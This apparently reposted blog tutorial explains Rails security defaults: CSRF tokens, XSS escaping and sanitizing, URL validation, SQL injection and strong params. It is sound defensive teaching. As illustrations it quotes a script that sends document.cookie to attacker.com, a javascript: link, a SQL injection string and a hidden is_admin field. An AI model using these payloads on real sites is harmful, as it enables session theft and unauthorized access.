Level Up Your Security in Rails
I am not a security expert, and the truth is that most other developers aren’t either. I haven’t created my own hashing or encryption algorithm, I don’t know the inner workings of TLS, nor the different ciphers that are available, but that doesn’t give me a free pass when it comes to protecting my users and their data.
One amazing benefit to using a framework like Rails is that it pays a great deal of attention to security vulnerabilities and comes with a lot of secure features and defaults right out of the box. Today we’re going to touch on some of these features and discuss what they do, why they’re important, and how they’re used to implement security in Rails.
Do You Trust Your Users?
You shouldn’t! I bet most of your users are lovely people, but the truth is that it only takes one malicious user to spoil everything. And user input doesn’t just come in the form of… well, form data. User input is anything that comes via an HTTP request:
- form data
- query params
- headers (referrers, user-agents, cookies)
- etc…
This is really where web security begins: user input. In the following sections, we’ll cover some different topics like CSRF attacks, XSS attacks, SQL injection, parameter injection, and what Rails does to protect us. We’ll also look at where we’ll have to do our part too.
CSRF Attacks
Cross Site Request Forgery (CSRF) attacks happen when a user is authenticated on Site A (let’s say this is your site) and, while browsing Site B (some sketchy other site), they get tricked into making a request to Site A to modify or change some information about their account: transferring money, changing email and password, posting a comment, and so on.
There are a couple things you can do when designing your Rails application to help protect your users against CSRF attacks. The first way is to properly use RESTful routing. What this means is that your GET
requests are only used for fetching information, and you rely on POST
or PUT
requests for creating or changing information. GET
requests are known to be “safe”, and because of this, Rails doesn’t actually bother verifying the request.
We can see this by looking at the method in Rails that’s in charge of verifying a request:
# Returns true or false if a request is verified. Checks: # # * Is it a GET or HEAD request? Gets should be safe and idempotent # * Does the form_authenticity_token match the given token value from the params? # * Does the X-CSRF-Token header match the form_authenticity_token def verified_request? !protect_against_forgery? || request.get? || request.head? || (valid_request_origin? && any_authenticity_token_valid?) end
If Rails sees that the request is GET
, it just assumes that things are okay. So you should never have an important action — like deleting a user’s account, transferring money, or adding a comment — routed as a GET
request.
POST
requests on the other hand are required by default in Rails to contain a valid CSRF token, which is tied to the user’s session. There are a couple ways for your app to send a valid CSRF token to Rails. The first is the easiest: If you use the form_for
helper (or simple_form_for
), it will automatically include a hidden field containing the CSRF token which will be posted along with the rest of the form’s details:
<%= form_for(country) do |f| %>
<!-- form contents -->
<% end %>
This ends up producing HTML that includes a hidden field:
<form class="new_country" id="new_country" action="/countries" accept-charset="UTF-8" method="post">
<input name="utf8" type="hidden" value="✓" />
<input type="hidden" name="authenticity_token" value="40tcBvMQEOeKam1NuZaP1jgm96ljhBouYL6aigt1jsaszXQCgjh5zWn3U+d9ZG2E3f2Ew2dKliLczOJI21KNEA==" />
<!-- form contents -->
</form>
But what if you submit your form with AJAX? There’s a way to handle that too! And no, the solution is not to run skip_before_action :verify_authenticity_token
and bypass verification all together. The correct way is to grab the information from a meta tag which looks like:
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="ry4B/2Ql+EmpsEEwgpUltYzOPIZuWtkG4u34JfOg68YQ+hHNOgZVZUAVycbLBeErn/943uR1fOp/a5wAPj/h0w==" />
These meta tags were generated in your layout file with the following helper:
<!DOCTYPE html>
<html>
<head>
<%= csrf_meta_tags %>
<!-- etc... -->
</head>
We can include it along with our AJAX POST request as a header with the name X-CSRF-Token
. Here is an example:
var token = document.querySelector("meta[name='csrf-token']").content; fetch('/countries', { method: 'POST', headers: { 'X-CSRF-Token': token, 'Accept': 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify({ country: { name: 'Canada', continent: 'North America', population: 35160000 } }), credentials: 'same-origin' }).then(function(response) { return response.json() }).then(function(json) { console.log(json) });
Here’s a gotcha that messed me up for longer than I care to admit (okay, almost two hours). The example above was failing and giving me an ActionController::InvalidAuthenticityToken
exception until I added in the line credentials: 'same-origin'
. Unlike our good old friend jQuery, this new fetch method for making AJAX requests does not send cookies by default. Because of this, the session cookie was not being sent to the server, making it appear as though my CSRF token was invalid.
The same example in jQuery is below. Notice that I didn’t have to send the same X-CSRF-Token
as I did in the fetch
example above. This is because, if you’re using the jquery-rails
Gem, they’re automatically adding that token for you. If you look at the request in the browser dev tools, you’ll notice that the header is in fact being sent correctly.
$.ajax({ url: '/countries', type: 'post', data: { country: { name: 'Canada', continent: 'North America', population: 35160000 } }, dataType: 'json', success: function (data) { console.info(data); } });
For a great overview on the basics of CSRF, check out this video on YouTube.
XSS Attacks
XSS, or Cross Site Scripting, attacks revolve around a user figuring out a way to provide input to the website that contains some sort of malicious JavaScript code which ends up being displayed to other users and is executed.
Avoiding embedded scripts in user output
One great way that Rails helps us avoid XSS attacks is by not outputting user input as HTML unless we explicitly call a method indicating that it is safe to output as HTML.
If I try to enter the name of a country as:
<script>alert('hello');</script>
It ends up coming out as:
<script>alert('hello');</script>
Awesome! That’s because 99 percent of the time user input should not in fact contain any HTML or JavaScript, and if it does, you want to avoid outputting it as such. If we’re sure we trust the user, we can indicate that it is safe by using the following code:
<p>
<strong>Name:</strong>
<%= @country.name.html_safe %>
</p>
If there are circumstances where you want to allow the user to enter a limited set of HTML tags (with a limited set of attributes), you can use the sanitize
helper:
<p>
<strong>Name:</strong>
<%= sanitize @country.name, tags: %w(strong em) %>
</p>
This will strip out unwanted tags and give you only what their inner text contains. Under the hood, Rails is using the Loofah Gem to sanitize the HTML. The only other alternative to Loofah is the Sanitize Gem, which also relies on Nokogiri. So if you’re wondering why Rails happens to come with Nokogiri, this is why.
Avoiding embedded scripts in URL fields
Another way XSS attacks can happen is when a user is asked to provide a URL but they provide JavaScript instead… which happens to be valid in HTML but is certainly not what we want to happen.
<p>
<strong>Website:</strong>
<a href="javascript:alert('hello');">Learn More</a>
</p>
Pretty harmless, but looking at the example found on the Rails Security page, you can see how this could be changed to write an img
tag. When fetched, it would send your cookies to another website.
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
What we should have done to stop this from happening at all is validate that the input coming from our user is in fact a valid URL.
require 'uri' class Country < ApplicationRecord validate :validate_url private def validate_url return if website_url.blank? unless valid_url? website_url errors.add :website_url, "please provide valid URL" end end def valid_url?(url) uri = URI.parse url uri.kind_of? URI::HTTP rescue URI::InvalidURIError false end
This in turn could be extracted into a custom Rails validator so that it can be used across other models whenever we need to validate that a field contains a valid URL.
SQL Injection Attacks
SQL Injection is a technique where the malicious user attempts to overload or escape user input to manipulate the SQL which eventually gets executed against the database. To give a very simple example:
# Nice user provides only the correct input name = 'Canada' Country.where("name = '#{name}'") # malicious user tricks us into finding all countries name = "Canada' OR 'cat' = 'cat" Country.where("name = '#{name}'")
On the second query, the SQL that was generated contains an OR
statement which always evaluates to true, finding all records from the database.
SELECT "countries".* FROM "countries" WHERE (name = 'Canada' OR 'cat' = 'cat')
Going along with our theme of never trusting user input, we should never directly inject user input into a SQL statement. By simply working with the where
method in Active Record the correct way, it would have properly queried the database and avoided the additional OR
statement:
Country.where(name: name) #<ActiveRecord::Relation []>
This produces the following SQL in the console:
SELECT "countries".* FROM "countries" WHERE "countries"."name" = ? [["name", "Canada' OR 'cat' = 'cat"]]
The important thing to keep in mind is that there are a few ActiveRecord
query methods that are more trusting of user input than others. Some of them, along with their potential attacks, are outlined on the following page.
Parameter Injection Attacks
Let’s say that a User
has a field called is_admin
to control whether they have access to modify sensitive information or gain access to an admin panel. What if, when editing their email, password, name, etc., they modify the HTML to add an extra field? This is submitted:
<input type="hidden" name="user[is_admin]" value="1">
The hopeful answer is that nothing at all will happen, even though that information would be submitted to our Rails app and under normal circumstances it would be updated when you call current_user.update(user_params)
. But this isn’t something that will happen on our website because we’ve used Strong Params
to dictate exactly which fields are required and which fields the user is permitted to modify.
def user_params params.require(:user).permit(:name, :email, :password) end
Conclusion
We’ve only scratched the surface in terms of some of the different techniques and ways that Rails helps us protect ourselves and our users. For more information, you can explore the subjects located on the Rails Security page.
Rails is about as secure as a web framework could be. What this doesn’t mean is that the developer has no responsibility to ensure that their users and data are protected. Still, I’m very thankful for the Rails security team and the work they do — all of the topics (and more!) that we’ve covered in this article would be issues that I would have to deal with one by one if I were building a web framework from scratch.
Reference: | Level Up Your Security in Rails from our WCG partner Leigh Halliday at the Codeship Blog blog. |